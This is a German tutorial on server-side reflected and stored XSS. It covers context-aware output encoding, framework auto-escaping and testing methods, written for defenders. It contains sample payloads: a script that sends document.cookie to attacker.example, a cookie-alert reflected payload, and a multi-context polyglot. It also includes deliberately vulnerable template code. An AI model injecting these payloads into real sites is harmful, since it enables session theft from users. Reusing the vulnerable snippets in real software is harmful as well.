Während DOM-based XSS eine Client-Schicht-Schwachstelle ist, entstehen Reflected und Stored XSS auf dem Server. Beide haben den gleichen Schutz-Reflex: kontext-bewusstes Output-Encoding. Wer versteht, in welchem HTML-Kontext eine Eingabe landet — und das passende Encoding wählt — schließt 95 Prozent der Server-Side-XSS-Lücken. Dieser Artikel zeigt die typischen Einbruch-Stellen, das Encoding-Modell und warum „Eingaben filtern" als Strategie nicht reicht.

Reflected XSS — die einfache Form

Anwendung nimmt eine Eingabe entgegen, verarbeitet sie nicht persistent, gibt sie aber sofort in der Antwort wieder aus. Wenn die Ausgabe nicht encoded ist, lässt sich Code einschleusen.

Klassische Sinks:

  • Such-Endpunkte mit „Keine Treffer für: <eingabe>"-Anzeige.
  • Error-Pages, die fehlerhaften Wert zurückspielen.
  • Login-Formulare mit „Benutzername: <wert> nicht gefunden".
  • Bestätigungs-Seiten nach Form-Submit.
  • URL-Parameter in <a href="...">-Attributen.

Beispiel:

HTML reflected-xss-search.html
<!-- Schadhaft (Pug/EJS/Handlebars ohne Auto-Encoding) -->
<h1>Suche: <%= req.query.q %></h1>
<p>Keine Treffer.</p>

URL: /search?q=<script>alert(document.cookie)</script> → Server reflektiert das Skript zurück → Browser führt es aus.

Wirkungs-Voraussetzung:

Reflected XSS braucht User-Interaktion — meist Klick auf einen präparierten Link (per Phishing-Mail, Social-Media-Post, Forum-Beitrag). Wer den Link öffnet, ist nur kompromittiert, wenn er in der Ziel-Anwendung eingeloggt ist.

Reale Wirkung:

  • Session-Cookies abfischen.
  • CSRF-Tokens auslesen, anschließend CSRF-Angriff.
  • Login-Seite überlagern (Phishing in der echten Domain).
  • Mit fetch() Aktionen im Namen der Nutzer:in ausführen.

Stored XSS — die persistente Form

Eingabe wird gespeichert und später anderen Nutzer:innen ausgeliefert. Häufiger Sink: alles, was nutzer-generiert ist und nicht trivial ist.

Klassische Sinks:

  • Forum-Posts, Kommentare, Bewertungen.
  • Profil-Beschreibungen, About-Texte.
  • Direkt-Nachrichten zwischen Nutzer:innen.
  • Produkt-Beschreibungen in Marktplätzen.
  • Mail-Inhalte, die per HTML-Webmail gerendert werden.
  • Custom-Field-Werte in CRMs, Tickets, Wikis.
  • Admin-Eingaben, die nicht gefiltert werden (Privilegierte XSS — Admin schreibt schadhafter Inhalt, alle User sehen es).
  • Datei-Upload-Inhalte (SVG, HTML-Anhänge in Mail).

Beispiel:

JavaScript stored-xss-forum.js
// Forum-Post-Endpunkt — speichert User-Input ohne Sanitization
app.post('/posts', (req, res) => {
  db.posts.insert({
    title: req.body.title,
    body: req.body.body,  // ungesäubert
    author: req.user.id,
  });
});

// Render-Endpunkt — gibt body ohne Encoding aus
app.get('/posts/:id', (req, res) => {
  const post = db.posts.findOne({ id: req.params.id });
  res.send(`
    <h1>${post.title}</h1>
    <article>${post.body}</article>
  `);
});

Erste:r Angreifer:in postet <script>fetch('https://attacker.example/?c='+document.cookie)</script> als Beitrag. Alle, die den Beitrag öffnen, geben ihr Session-Cookie an den/die Angreifer:in.

Stored XSS ist die gefährlichere Variante, weil keine Phishing-Strecke nötig ist — das passive Besuchen der Seite reicht.

Kontext-Awareness: das zentrale Konzept

Der häufigste Fehler bei XSS-Schutz: eine Encoding-Funktion für alle Stellen. HTML hat mehrere Sub-Kontexte, und das richtige Encoding hängt vom Kontext ab.

KontextBeispielEncoding-Regel
HTML-Body<div>[WERT]</div>&lt;, &gt;, &amp;, &quot;, &#39;
HTML-Attribut (mit Anführungszeichen)<input value="[WERT]">Wie HTML-Body
HTML-Attribut (ohne Anführungszeichen)<input value=[WERT]>Zusätzlich Leerzeichen/Tab/etc.
JavaScript-String in <script><script>var x = "[WERT]";</script>JS-Escape (\x3c, <)
JavaScript-String in Event-Handler<a onclick="alert('[WERT]')">Erst JS-Escape, dann HTML-Escape
URL-Parameter<a href="?q=[WERT]">URL-Encode (%3C, %3E)
CSS-Wert<div style="color: [WERT];">CSS-Escape
JSON in Script-Tag<script>var data = [WERT];</script>JSON-Encode + JS-Escape

Konkret: wer eine HTML-Encoding-Funktion auf einen JavaScript-String anwendet, schützt nicht — &quot; wird vom JS-Parser nicht als Escape erkannt, sondern als Literal-String. Umgekehrt: JS-Escape im HTML-Body schützt nicht vor <script>-Injection.

Faustregel: Encoding ist immer kontext-spezifisch. Eine generische htmlEncode()-Funktion reicht nicht für alle Stellen.

Was modere Template-Engines bieten

Glücklicherweise haben moderne Template-Systeme kontext-bewusstes Auto-Encoding eingebaut. Beispiele:

React JSX — automatisches HTML-Encoding:

JSX react-auto-encoding.jsx
// Sicher: React encodiert {wert} automatisch
function Component({ userInput }) {
  return <div>{userInput}</div>;
  // <script>...</script> wird zu &lt;script&gt;...&lt;/script&gt;
}

// Unsicher: explizite Roh-HTML-Insertion
function Bad({ userInput }) {
  return <div dangerouslySetInnerHTML={{ __html: userInput }} />;
}

Vue.js — automatisches HTML-Encoding für {{ }}-Interpolation:

Vue vue-auto-encoding.vue
<!-- Sicher: Vue encodiert automatisch -->
<div>{{ userInput }}</div>

<!-- Unsicher: v-html -->
<div v-html="userInput"></div>

Angular — automatisches HTML-Encoding über Property-Binding:

HTML angular-auto-encoding.html
<!-- Sicher: Angular encodiert -->
<div>{{ userInput }}</div>

<!-- Unsicher: [innerHTML] mit DomSanitizer-Bypass -->
<div [innerHTML]="userInput | bypassSecurityTrustHtml"></div>

Jinja2 (Python) — Auto-Escape per Default in Web-Templates (Flask, Django setzen es richtig):

Jinja jinja-auto-escape.html
<!-- Sicher: Jinja2 escapt automatisch -->
<div>{{ user_input }}</div>

<!-- Unsicher: explizit |safe oder Markup() -->
<div>{{ user_input|safe }}</div>

EJS (Node.js)<%= %> encodiert; <%- %> ist Roh-HTML:

EJS ejs-encoding.ejs
<%- /* Roh-HTML, unsicher */ %>
<div><%- userInput %></div>

<%= /* Encoded, sicher */ %>
<div><%= userInput %></div>

Faustregel für Frameworks: Auto-Encoding ist Default. Wer explizite Roh-HTML-Funktionen nutzt, übernimmt die Verantwortung — und sollte stattdessen Sanitization (siehe html-sanitization) anwenden.

Eingabe-Validierung als Sekundär-Schutz

Eingabe-Validierung ist nützlich, aber nicht ausreichend als XSS-Schutz allein. Warum?

  • Eine E-Mail-Adresse alice@example.com ist eine valide Eingabe — wer aber <script>-Tags in einem Mail-Feld erlaubt, lässt XSS durch.
  • Such-Anfragen können legitim Sonderzeichen enthalten — du kannst nicht alle Spitzklammern in Suchen blockieren.
  • Profil-Texte sollen oft Formatierung erlauben (fett, kursiv) — Roh-HTML-Filterung ist trickreich.

Eingabe-Validierung schützt vor:

  • Klar definierten Datentypen (Mail, Telefon, UUID, Datum, Integer) — Schema-Validierung mit Allowlist-Pattern.
  • Massen-Garbage und offensichtlich unplausiblen Eingaben.
  • Daten, die später ohne Encoding in Code-Kontexten landen würden.

Eingabe-Validierung schützt nicht vor:

  • XSS in Feldern, die legitim Freitext erlauben.
  • XSS in Feldern mit komplexer Format-Anforderung.

Konsequenz: Validierung ist die erste Schicht für strukturierte Daten — und sie reduziert die Angriffsfläche. Output-Encoding bleibt aber die eigentliche XSS-Schutz-Schicht.

Spezielle Fälle

E-Mail-Templates aus User-Input.

Wenn ein:e Nutzer:in einen Namen eingibt, der später in einer HTML-E-Mail an dieselbe Person geht („Hallo <name>"), und die Mail-Template-Engine nicht encodiert, ist XSS in Mail-Clients möglich. Manche Mail-Clients rendern JavaScript nicht — aber viele Webmail-Interfaces (Gmail, Yahoo) parsen HTML aggressiv.

Schutz: Mail-Templates müssen genauso encodiert werden wie Web-Templates.

PDF-Generierung aus User-Input.

PDF-Generatoren auf Basis von HTML-zu-PDF (wkhtmltopdf, Puppeteer, Playwright) rendern eingebettete URLs und Bilder. Wenn ein:e Angreifer:in JavaScript einschleust, kann das Skript im Generator-Prozess SSRF auf interne Ressourcen ausführen.

Schutz: PDF-Generator-Sandbox isolieren, Resource-Zugriff einschränken.

SVG-Uploads.

SVG ist XML mit eingebettetem JavaScript-Support. Wer SVG-Uploads als Bilder ungesäubert ausliefert, hat Stored XSS jedes Mal, wenn ein:e Nutzer:in das SVG aufruft.

Schutz: SVG-Sanitization (DOMPurify hat SVG-Modus); oder SVG-Anzeige nur in <img>-Tags statt eingebettet (Browser deaktiviert dann <script>).

Markdown-Renderer.

Wenn deine Anwendung User-Markdown rendert (Wiki, README-Anzeige), prüfe, ob der Renderer Roh-HTML zulässt. Standard-marked.js, markdown-it lassen Roh-HTML per Default zu — Schalter setzen oder Sanitization downstream.

Reflected XSS in 404-Pages.

Webserver (Nginx, IIS, Apache) geben oft die URL in Error-Pages aus. Wenn das ohne Encoding passiert, hast du XSS in der 404-Page. Bei modernen Versionen meist gefixt; bei alten Servern oder Custom-Error-Pages prüfen.

JSON-Inline in HTML.

Eine subtile Falle: JSON-Daten werden in <script>-Tag eingebettet:

HTML json-inline-xss.html
<!-- Schadhaft: JSON kann </script> enthalten -->
<script>
  window.__INITIAL_DATA__ = <%= JSON.stringify(data) %>;
</script>

Wenn data einen String mit </script> enthält, bricht der Script-Tag früh ab — Rest wird als HTML interpretiert. Schutz: JSON für HTML-Insertion zusätzlich escapen — </script> zu <\/script>, <!-- zu <\!--, etc.

Test-Strategien

Automatisierte Tools:

  • Burp Suite Pro mit aktivem Scanner — findet die meisten Reflected XSS in Standard-Form.
  • OWASP ZAP — Open-Source-Pendant.
  • DAST-Tools im CI (z. B. Acunetix, Probely).
  • Linters im Frontend-Code (ESLint-React-Plugin warnt vor dangerouslySetInnerHTML).

Manuelle Tests:

  • Payload-Listen wie PayloadsAllTheThings/XSS systematisch durchgehen.
  • Pro Kontext anpassen — Payloads für HTML-Body unterscheiden sich von Attribut-Payloads.
  • Polyglot-Payloads von Gareth Heyes (siehe Polyglot-Payload-Konzept auf PortSwigger) decken viele Kontexte gleichzeitig ab — ein Beispiel:
Plain polyglot-xss-payload.txt
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Bug-Bounty-Reports lesen: XSS-Reports gehören zu den lehrreichsten Quellen. HackerOne Hacktivity mit Filter „Public" und „XSS" liefert viele Beispiele realer Bug-Funde.

Häufige Stolperfallen

„Eingabe-Filterung statt Output-Encoding" — der häufigste Fehler

Viele Anwendungen versuchen, gefährliche Eingaben beim Speichern zu blockieren (Eingabe-Filterung). Das funktioniert nicht zuverlässig, weil: (a) das, was gefährlich ist, kontext-abhängig ist; (b) Filter-Bypasses kreativ sind; (c) Anwendung muss alle Vergangenheits-Daten neu filtern, wenn Filter sich ändert. Output-Encoding zur Render-Zeit ist die robustere Antwort.

Privilegierte XSS ist ein Sonderfall

Wenn nur Admins XSS einschleusen können (z. B. in CMS-Templates), wirkt das harmlos — Admin tut sich keinen Schaden an. Aber: jede:r Admin-Account-Übernahme (Credential Stuffing, Phishing) wird damit zu einer XSS gegen alle Nutzer:innen. Auch Admin-Inputs verdienen Encoding.

Mutated XSS in Sanitizern

Manche Sanitizer-Implementierungen haben Bugs, weil HTML-Parser und Sanitizer unterschiedlich parsen. Mario Heiderichs mXSS-Forschung 2014 zeigte, dass Eingaben durch den Browser-Parser anders gerendert werden als vom Sanitizer erwartet. Antwort: ausgereifte Library (DOMPurify) statt Eigenbau.

JavaScript-URL-Schema wird oft unterschätzt

<a href="javascript:alert(1)"> ist XSS, auch wenn keine <script>-Tags involviert sind. Wenn User-Input in href-Attribute fließt, muss URL-Schema validiert werden — nur http:, https:, mailto: u. ä. erlauben.

Inline-Events brauchen doppeltes Encoding

<button onclick="alert('[WERT]')"> — wert muss erst JS-encoded, dann HTML-encoded werden. Viele Encoding-Helfer machen nur eines. Generell: Inline-Events vermeiden, statt dessen addEventListener im JS-Code.

DOMPurify ist die Industrie-Standard-Sanitizer-Library

Wer Roh-HTML aus User-Input rendern muss (CMS, Markdown-Output, Mail-Inhalte), nutzt DOMPurify. Mario Heiderich und Team pflegen die Library seit Jahren — sie kennt die mXSS-Tricks, die im Selbstbau übersehen werden. Vertieft in html-sanitization.

HttpOnly + Secure + SameSite — die Cookie-Härtung

Wenn XSS doch erfolgreich ist, beschränken Cookie-Flags den Schaden. HttpOnly verhindert document.cookie-Auslesung. SameSite=Lax oder Strict verhindern Cross-Site-Folge-Aktionen. Secure erzwingt HTTPS. Defense-in-Depth — siehe Kap 16.

Weiterführende Ressourcen

Externe Quellen

/ Weiter

Zurück zu XSS & Content Injection

Zur Übersicht